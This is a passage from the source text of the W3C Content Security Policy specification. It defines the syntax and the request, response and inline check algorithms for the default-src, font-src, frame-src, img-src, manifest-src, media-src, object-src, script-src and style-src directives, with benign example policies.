grammar>'self'</a>\n    </pre>\n\n    Given this behavior, one good way to build a policy for a site would be to\n    begin with a `default-src` of `'none'`, and to build up a policy from there\n    which allowed only those resource types which are necessary for the\n    particular page the policy will apply to.\n  </div>\n\n  <h5 algorithm id=\"default-src-pre-request\">\n    `default-src` Pre-request check\n  </h5>\n\n  This directive's <a for=\"directive\">pre-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing\n      [[#effective-directive-for-a-request]] on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `default-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  Return the result of executing the <a for=\"directive\">pre-request\n      check</a> for the <a>directive</a> whose <a for=\"directive\">name</a> is\n      |name| on |request|, |policy|, and |self-origin|, using this directive's\n      <a for=\"directive\">value</a> for the comparison.\n\n  <h5 algorithm id=\"default-src-post-request\">\n    `default-src` Post-request check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a for=\"/\">policy</a> |policy| and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing\n      [[#effective-directive-for-a-request]] on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `default-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  Return the result of executing the <a for=\"directive\">post-request\n      check</a> for the <a>directive</a> whose <a for=\"directive\">name</a> is\n      |name| on |request|, |response|, |policy|, and |self-origin|, using this\n      directive's <a for=\"directive\">value</a> for the comparison.\n\n  <h5 algorithm id=\"default-src-inline\">\n    `default-src` Inline Check\n  </h5>\n\n  This directive's <a for=\"directive\">inline check</a> algorithm is as follows:\n\n  Given an {{Element}} |element|, a string |type|, a <a for=\"/\">policy</a>\n  |policy| and a string |source|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-inline-check]]\n      on |type|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `default-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  Otherwise, return the result of executing the\n      <a for=\"directive\">inline check</a> for the <a>directive</a> whose\n      <a for=\"directive\">name</a> is |name| on |element|, |type|, |policy|\n      and |source|, using this directive's <a for=\"directive\">value</a> for the\n      comparison.\n\n  <h4 id=\"directive-font-src\">`font-src`</h4>\n\n  The <dfn export>font-src</dfn> directive restricts the URLs from which font resources\n  may be loaded. The syntax for the directive's name and value is described by\n  the following ABNF:\n\n  <pre>\n    directive-name  = \"font-src\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n  <div class=\"example\">\n    Given a page with the following Content Security Policy:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: <a>font-src</a> https://example.com/\n    </pre>\n\n    Fetches for the following code will return a network error, as the URL\n    provided does not match `font-src`'s <a>source list</a>:\n\n    <pre highlight=\"html\">\n      &lt;style&gt;\n        @font-face {\n          font-family: \"Example Font\";\n          src: url(\"https://example.org/font\");\n        }\n        body {\n          font-family: \"Example Font\";\n        }\n      &lt;/style&gt;\n    </pre>\n  </div>\n\n  <h5 algorithm id=\"font-src-pre-request\">\n    `font-src` Pre-request check\n  </h5>\n\n  This directive's <a for=\"directive\">pre-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `font-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-request-to-source-list]] on |request|,\n      this directive's <a for=\"directive\">value</a>, and |self-origin|, is\n      \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h5 algorithm id=\"font-src-post-request\">\n    `font-src` Post-request check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a for=\"/\">policy</a> |policy| and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `font-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-response-to-source-list]] on\n      |response|, |request|, this directive's <a for=\"directive\">value</a>,\n      and |self-origin|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h4 id=\"directive-frame-src\">`frame-src`</h4>\n\n  The <dfn export>frame-src</dfn> directive restricts the URLs which may be loaded into\n  <a>child navigables</a>. The syntax for the directive's name and value\n  is described by the following ABNF:\n\n  <pre>\n    directive-name  = \"frame-src\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  <div class=\"example\">\n    Given a page with the following Content Security Policy:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: <a>frame-src</a> https://example.com/\n    </pre>\n\n    Fetches for the following code will return a network errors, as the URL\n    provided do not match `frame-src`'s <a>source list</a>:\n\n    <pre highlight=\"html\">\n      &lt;iframe src=\"https://example.org/\"&gt;\n      &lt;/iframe&gt;\n    </pre>\n  </div>\n\n  <h5 algorithm id=\"frame-src-pre-request\">\n    `frame-src` Pre-request check\n  </h5>\n\n  This directive's <a for=\"directive\">pre-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `frame-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-request-to-source-list]] on |request|,\n      this directive's <a for=\"directive\">value</a>, and |self-origin|, is\n      \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h5 algorithm id=\"frame-src-post-request\">\n    `frame-src` Post-request check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a for=\"/\">policy</a> |policy| and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `frame-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-response-to-source-list]] on\n      |response|, |request|, this directive's <a for=\"directive\">value</a>,\n      and |self-origin|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h4 id=\"directive-img-src\">`img-src`</h4>\n\n  The <dfn export>img-src</dfn> directive restricts the URLs from which image resources\n  may be loaded. The syntax for the directive's name and value is described by\n  the following ABNF:\n\n  <pre>\n    directive-name  = \"img-src\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  This directive controls <a for=\"/\">requests</a> which load images. More formally, this\n  includes <a for=\"/\">requests</a> whose <a for=\"request\">destination</a> is \"`image`\"\n  [[FETCH]].\n\n  <div class=\"example\">\n    Given a page with the following Content Security Policy:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: <a>img-src</a> https://example.com/\n    </pre>\n\n    Fetches for the following code will return a network errors, as the URL\n    provided do not match `img-src`'s <a>source list</a>:\n\n    <pre highlight=\"html\">\n      &lt;img src=\"https://example.org/img\"&gt;\n    </pre>\n  </div>\n\n  <h5 algorithm id=\"img-src-pre-request\">\n    `img-src` Pre-request check\n  </h5>\n\n  This directive's <a for=\"directive\">pre-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `img-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-request-to-source-list]] on |request|,\n      this directive's <a for=\"directive\">value</a>, and |self-origin|, is\n      \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h5 algorithm id=\"img-src-post-request\">\n    `img-src` Post-request check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a for=\"/\">policy</a> |policy| and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `img-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-response-to-source-list]] on\n      |response|, |request|, this directive's <a for=\"directive\">value</a>,\n      and |self-origin|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h4 id=\"directive-manifest-src\">`manifest-src`</h4>\n\n  The <dfn export>manifest-src</dfn> directive restricts the URLs from which application\n  manifests may be loaded [[APPMANIFEST]]. The syntax for the directive's name\n  and value is described by the following ABNF:\n\n  <pre>\n    directive-name  = \"manifest-src\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  <div class=\"example\">\n    Given a page with the following Content Security Policy:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: <a>manifest-src</a> https://example.com/\n    </pre>\n\n    Fetches for the following code will return a network errors, as the URL\n    provided do not match `manifest-src`'s <a>source list</a>:\n\n    <pre highlight=\"html\">\n      &lt;link rel=\"manifest\" href=\"https://example.org/manifest\"&gt;\n    </pre>\n  </div>\n\n  <h5 algorithm id=\"manifest-src-pre-request\">\n    `manifest-src` Pre-request check\n  </h5>\n\n  This directive's <a for=\"directive\">pre-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `manifest-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-request-to-source-list]] on |request|,\n      this directive's <a for=\"directive\">value</a>, and |self-origin|, is\n      \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h5 algorithm id=\"manifest-src-post-request\">\n    `manifest-src` Post-request check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a for=\"/\">policy</a> |policy| and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `manifest-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-response-to-source-list]] on\n      |response|, |request|, this directive's <a for=\"directive\">value</a>,\n      and |self-origin|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h4 id=\"directive-media-src\">`media-src`</h4>\n\n  The <dfn export>media-src</dfn> directive restricts the URLs from which video, audio,\n  and associated text track resources may be loaded. The syntax for the\n  directive's name and value is described by the following ABNF:\n\n  <pre>\n    directive-name  = \"media-src\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  <div class=\"example\">\n    Given a page with the following Content Security Policy:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: <a>media-src</a> https://example.com/\n    </pre>\n\n    Fetches for the following code will return a network errors, as the URL\n    provided do not match `media-src`'s <a>source list</a>:\n\n    <pre highlight=\"html\">\n      &lt;audio src=\"https://example.org/audio\"&gt;&lt;/audio&gt;\n      &lt;video src=\"https://example.org/video\"&gt;\n          &lt;track kind=\"subtitles\" src=\"https://example.org/subtitles\"&gt;\n      &lt;/video&gt;\n    </pre>\n  </div>\n\n  <h5 algorithm id=\"media-src-pre-request\">\n    `media-src` Pre-request check\n  </h5>\n\n  This directive's <a for=\"directive\">pre-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `media-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-request-to-source-list]] on |request|,\n      this directive's <a for=\"directive\">value</a>, and |self-origin|, is\n      \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h5 algorithm id=\"media-src-post-request\">\n    `media-src` Post-request check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a for=\"/\">policy</a> |policy| and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `media-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-response-to-source-list]] on\n      |response|, |request|, this directive's <a for=\"directive\">value</a>,\n      and |self-origin|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n<h4 id=\"directive-object-src\">`object-src`</h4>\n\n  The <dfn export>object-src</dfn> directive restricts the URLs from which plugin\n  content may be loaded. The syntax for the directive's name and value is\n  described by the following ABNF:\n\n  <pre>\n    directive-name  = \"object-src\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  <div class=\"example\">\n    Given a page with the following Content Security Policy:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: <a>object-src</a> https://example.com/\n    </pre>\n\n    Fetches for the following code will return a network errors, as the URL\n    provided do not match `object-src`'s <a>source list</a>:\n\n    <pre highlight=\"html\">\n      &lt;embed src=\"https://example.org/flash\"&gt;&lt;/embed&gt;\n      &lt;object data=\"https://example.org/flash\"&gt;&lt;/object&gt;\n    </pre>\n  </div>\n\n  If plugin content is loaded without an associated URL (perhaps an <{object}>\n  element lacks a <{object/data}> attribute, but loads some default plugin based\n  on the specified `type`), it MUST be blocked if `object-src`'s value is\n  `'none'`, but will otherwise be allowed.\n\n  Note: The `object-src` directive acts upon any request made on behalf of\n  an <{object}> or <{embed}> element. This includes requests\n  which would populate the <a>child navigable</a> generated by the\n  former two (also including navigations). This is true even when the data is\n  semantically equivalent to content which would otherwise be restricted by\n  another directive, such as an <{object}> element with a `text/html` MIME\n  type.\n\n  Note: When a plugin resource is navigated to directly (that is, as a <a spec=html>plugin</a>\n  inside a <a>navigable</a>, and not as an embedded\n  subresource via <{embed}> or <{object}>), any <a for=\"/\">policy</a> delivered along\n  with that resource will be applied to the resulting {{Document}}. This means, for instance, that\n  developers can prevent the execution of arbitrary resources as plugin content by delivering the\n  policy `object-src 'none'` along with a response. Given plugins' power (and the\n  sometimes-interesting security model presented by Flash and others), this could mitigate the risk\n  of attack vectors like\n  <a href=\"https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/\">Rosetta Flash</a>.\n\n  <h5 algorithm id=\"object-src-pre-request\">\n    `object-src` Pre-request check\n  </h5>\n\n  This directive's <a for=\"directive\">pre-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `object-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-request-to-source-list]] on |request|,\n      this directive's <a for=\"directive\">value</a>, and |self-origin|, is\n      \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h5 algorithm id=\"object-src-post-request\">\n    `object-src` Post-request check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a for=\"/\">policy</a> |policy| and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `object-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-response-to-source-list]] on\n      |response|, |request|, this directive's <a for=\"directive\">value</a>,\n      and |self-origin|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n  4.  Return \"`Allowed`\".\n\n  <h4 id=\"directive-script-src\">`script-src`</h4>\n\n  The <dfn export>script-src</dfn> directive restricts the locations from which scripts\n  may be executed. This includes not only URLs loaded directly into <{script}>\n  elements, but also things like inline script blocks and XSLT stylesheets\n  [[XSLT]] which can trigger script execution. The syntax for the directive's\n  name and value is described by the following ABNF:\n\n  <pre>\n    directive-name  = \"script-src\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  The `script-src` directive acts as a default fallback for all <a for=\"request/destination\">script-like</a>\n  destinations (including worker-specific destinations if <a>`worker-src`</a>\n  is not present). Unless granularity is desired `script-src` should\n  be used in favor of <a>`script-src-attr`</a> and <a>`script-src-elem`</a>\n  as in most situations there is no particular reason to have separate lists of\n  permissions for inline event handlers and <{script}> elements.\n\n  The `script-src` directive governs six things:\n\n  1.  Script <a for=\"/\">requests</a> MUST pass through [[#should-block-request]].\n\n  2.  Script <a>responses</a> MUST pass through [[#should-block-response]].\n\n  3.  Inline <{script}> blocks MUST pass through [[#should-block-inline]]. Their\n      behavior will be blocked unless every policy allows inline script, either\n      implicitly by not specifying a `script-src` (or `default-src`) directive,\n      or explicitly, by specifying \"`unsafe-inline`\", a\n      <a grammar>nonce-source</a> or a <a grammar>hash-source</a> that matches\n      the inline block.\n\n  4.  The following JavaScript execution sinks are gated on the \"`unsafe-eval`\" and \"`trusted-types-eval`\"\n      source expressions:\n\n      *   {{eval()}}\n      *   {{Function()}}\n      *   {{setTimeout()}} with an initial argument which is not callable.\n      *   {{setInterval()}} with an initial argument which is not callable.\n\n      Note: If a user agent implements non-standard sinks like `setImmediate()`\n      or `execScript()`, they SHOULD also be gated on \"`unsafe-eval`\".\n      Note: Since \"`unsafe-eval`\" acts as a global page flag, <a>`script-src-attr`</a>\n      and <a>`script-src-elem`</a> are not used when performing this check, instead\n      `script-src` (or it's fallback directive) is always used.\n\n  5. The following WebAssembly execution sinks are gated on the\n     \"`wasm-unsafe-eval`\" or the \"`unsafe-eval`\" source expressions:\n\n     *    {{new WebAssembly.Module()}}\n     *    {{WebAssembly.compile()}}\n     *    {{WebAssembly.compileStreaming()}}\n     *    {{WebAssembly.instantiate()}}\n     *    {{WebAssembly.instantiateStreaming()}}\n\n     Note: the \"`wasm-unsafe-eval`\" source expression is the more specific\n     source expression. In particular, \"`unsafe-eval`\" permits both compilation\n     (and instantiation) of WebAssembly and, for example, the use of the \"`eval`\" operation in\n     JavaScript. The \"`wasm-unsafe-eval`\" source expression only permits\n     WebAssembly and does not affect JavaScript.\n\n  6.  Navigation to `javascript:` URLs MUST pass through [[#should-block-inline]]. Such navigations\n      will only execute script if every policy allows inline script, as per #3 above.\n\n  <h5 algorithm id=\"script-src-pre-request\">\n    `script-src` Pre-request check\n  </h5>\n\n  This directive's <a for=\"directive\">pre-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `script-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  Return the result of executing [[#script-pre-request]] on |request|,\n      this directive, |policy|, and |self-origin|.\n\n  <h5 algorithm id=\"script-src-post-request\">\n    `script-src` Post-request check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a for=\"/\">policy</a> |policy| and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `script-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  Return the result of executing [[#script-post-request]] on |request|,\n      |response|, this directive, |policy|, and |self-origin|.\n\n  <h5 algorithm id=\"script-src-inline\">\n    `script-src` Inline Check\n  </h5>\n\n  This directive's <a for=\"directive\">inline check</a> algorithm is as follows:\n\n  Given an {{Element}} |element|, a string |type|, a <a for=\"/\">policy</a>\n  |policy| and a string |source|:\n\n  1.  Assert: |element| is not null or |type| is \"`navigation`\".\n\n  2.  Let |name| be the result of executing [[#effective-directive-for-inline-check]]\n      on |type|.\n\n  3.  If the result of executing [[#should-directive-execute]] on |name|,\n      `script-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  4.  If the result of executing [[#match-element-to-source-list]] on\n      |element|, this directive's <a for=\"directive\">value</a>, |type|,\n      and |source|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n  5.  Return \"`Allowed`\".\n\n  <h4 id=\"directive-script-src-elem\">`script-src-elem`</h4>\n\n  The syntax for the directive's name and value is described by the following ABNF:\n\n  <pre>\n    directive-name  = \"script-src-elem\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  The <dfn export>script-src-elem</dfn> directive applies to all script requests and\n  script blocks. Attributes that execute script (inline event handlers) are\n  controlled via <a>`script-src-attr`</a>.\n\n  As such, the following differences exist when comparing to `script-src`:\n  * `script-src-elem` applies to inline checks whose `|type|` is \"`script`\" and\n    \"`navigation`\" (and is ignored for inline checks whose `|type|` is \"`script attribute`\").\n  * `script-src-elem`'s <a for=\"directive\">value</a> is not used for JavaScript\n    execution sink checks that are gated on the \"`unsafe-eval`\" check.\n  * `script-src-elem` is not used as a fallback for the `worker-src` directive.\n    The `worker-src` checks still fall back on the `script-src` directive.\n\n  <h5 algorithm id=\"script-src-elem-pre-request\">\n    `script-src-elem` Pre-request check\n  </h5>\n\n  This directive's <a for=\"directive\">pre-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `script-src-elem` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  Return the result of executing [[#script-pre-request]] on |request|,\n      this directive, |policy|, and |self-origin|.\n\n  <h5 algorithm id=\"script-src-elem-post-request\">\n    `script-src-elem` Post-request check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a for=\"/\">policy</a> |policy| and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `script-src-elem` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  Return the result of executing [[#script-post-request]] on |request|,\n      |response|, this directive, |policy|, and |self-origin|.\n\n  <h5 algorithm id=\"script-src-elem-inline\">\n    `script-src-elem` Inline Check\n  </h5>\n\n  This directive's <a for=\"directive\">inline check</a> algorithm is as follows:\n\n  Given an {{Element}} |element|, a string |type|, a <a for=\"/\">policy</a>\n  |policy| and a string |source|:\n\n  1.  Assert: |element| is not null or |type| is \"`navigation`\".\n\n  2.  Let |name| be the result of executing [[#effective-directive-for-inline-check]]\n      on |type|.\n\n  3.  If the result of executing [[#should-directive-execute]] on |name|,\n      `script-src-elem`, and |policy| is \"`No`\", return \"`Allowed`\".\n\n  4.  If the result of executing [[#match-element-to-source-list]] on\n      |element|, this directive's <a for=\"directive\">value</a>, |type|,\n      and |source| is \"`Does Not Match`\", return \"`Blocked`\".\n\n  5.  Return \"`Allowed`\".\n\n  <h4 id=\"directive-script-src-attr\">`script-src-attr`</h4>\n\n  The syntax for the directive's name and value is described by the following ABNF:\n\n  <pre>\n    directive-name  = \"script-src-attr\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  The <dfn export>script-src-attr</dfn> directive applies to event handlers and, if present,\n  it will override the `script-src` directive for relevant checks.\n\n  <h5 algorithm id=\"script-src-attr-inline\">\n    `script-src-attr` Inline Check\n  </h5>\n\n  This directive's <a for=\"directive\">inline check</a> algorithm is as follows:\n\n  Given an {{Element}} |element|, a string |type|, a <a for=\"/\">policy</a>\n  |policy| and a string |source|:\n\n  1.  Assert: |element| is not null or |type| is \"`navigation`\".\n\n  2.  Let |name| be the result of executing [[#effective-directive-for-inline-check]]\n      on |type|.\n\n  3.  If the result of executing [[#should-directive-execute]] on |name|,\n      `script-src-attr` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  4.  If the result of executing [[#match-element-to-source-list]] on\n      |element|, this directive's <a for=\"directive\">value</a>, |type|,\n      and |source|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n  5.  Return \"`Allowed`\".\n\n  <h4 id=\"directive-style-src\">`style-src`</h4>\n\n  The <dfn export>style-src</dfn> directive restricts the locations from which style\n  may be applied to a {{Document}}. The syntax for the directive's name and\n  value is described by the following ABNF:\n\n  <pre>\n    directive-name  = \"style-src\"\n    directive-value = <a grammar>serialized-source-list</a>\n  </pre>\n\n  The `style-src` directive governs several things:\n\n  1.  Style <a for=\"/\">requests</a> MUST pass through [[#should-block-request]]. This\n      includes:\n\n      1.  Stylesheet requests originating from a <{link}> element.\n      2.  Stylesheet requests originating from the <a at-rule>`@import`</a>\n          rule.\n      3.  Stylesheet requests originating from a `Link` HTTP response header\n          field [[!RFC8288]].\n\n  2.  <a>Responses</a> to style requests MUST pass through\n      [[#should-block-response]].\n\n  3.  Inline <{style}> blocks MUST pass through [[#should-block-inline]]. The\n      styles will be blocked unless every policy allows inline style, either\n      implicitly by not specifying a `style-src` (or `default-src`) directive,\n      or explicitly, by specifying \"`unsafe-inline`\", a\n      <a grammar>nonce-source</a> or a <a grammar>hash-source</a> that matches\n      the inline block.\n\n  4.  The following CSS algorithms are gated on the `unsafe-eval` source\n      expression:\n\n      1.  <a>insert a CSS rule</a>\n      2.  <a>parse a CSS rule</a>,\n      3.  <a>parse a CSS declaration block</a>\n      4.  <a>parse a group of selectors</a>\n\n      This would include, for example, all invocations of CSSOM's various\n      <code>cssText</code> setters and <code>insertRule</code> methods\n      [[!CSSOM]] [[!HTML]].\n\n      ISSUE(w3c/webappsec-csp#212): This needs to be better explained.\n\n  <h5 algorithm id=\"style-src-pre-request\">\n    `style-src` Pre-request Check\n  </h5>\n\n  This directive's <a for=\"directive\">pre-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `style-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-nonce-to-source-list]] on\n      |request|'s <a for=\"request\">cryptographic nonce metadata</a> and this\n      directive's <a for=\"directive\">value</a> is \"`Matches`\", return\n      \"`Allowed`\".\n\n  4.  If the result of executing [[#match-request-to-source-list]] on |request|,\n      this directive's <a for=\"directive\">value</a>, and |self-origin|, is\n      \"`Does Not Match`\", return \"`Blocked`\".\n\n  5.  Return \"`Allowed`\".\n\n  <h5 algorithm id=\"style-src-post-request\">\n    `style-src` Post-request Check\n  </h5>\n\n  This directive's <a for=\"directive\">post-request check</a> is as follows:\n\n  Given a <a for=\"/\">request</a> |request|, a <a>response</a> |response|, a\n  <a for=\"/\">policy</a> |policy|, and an <a>origin</a> |self-origin|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `style-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-nonce-to-source-list]] on\n      |request|'s <a for=\"request\">cryptographic nonce metadata</a> and this\n      directive's <a for=\"directive\">value</a> is \"`Matches`\", return\n      \"`Allowed`\".\n\n  4.  If the result of executing [[#match-response-to-source-list]] on\n      |response|, |request|, this directive's <a for=\"directive\">value</a>,\n      and |self-origin|, is \"`Does Not Match`\", return \"`Blocked`\".\n\n  5.  Return \"`Allowed`\".\n\n  <h5 algorithm id=\"style-src-inline\">\n    `style-src` Inline Check\n  </h5>\n\n  This directive's <a for=\"directive\">inline check</a> algorithm is as follows:\n\n  Given an {{Element}} |element|, a string |type|, a <a for=\"/\">policy</a>\n  |policy| and a string |source|:\n\n  1.  Let |name| be the result of executing [[#effective-directive-for-inline-check]]\n      on |type|.\n\n  2.  If the result of executing [[#should-directive-execute]] on |name|,\n      `style-src` and |policy| is \"`No`\", return \"`Allowed`\".\n\n  3.  If the result of executing [[#match-element-to-source-list]] on\n      |element|, this directive's <a for=\"directive\">value</a>, |type|,\n      and |source|, is \"`Does Not Match`\", 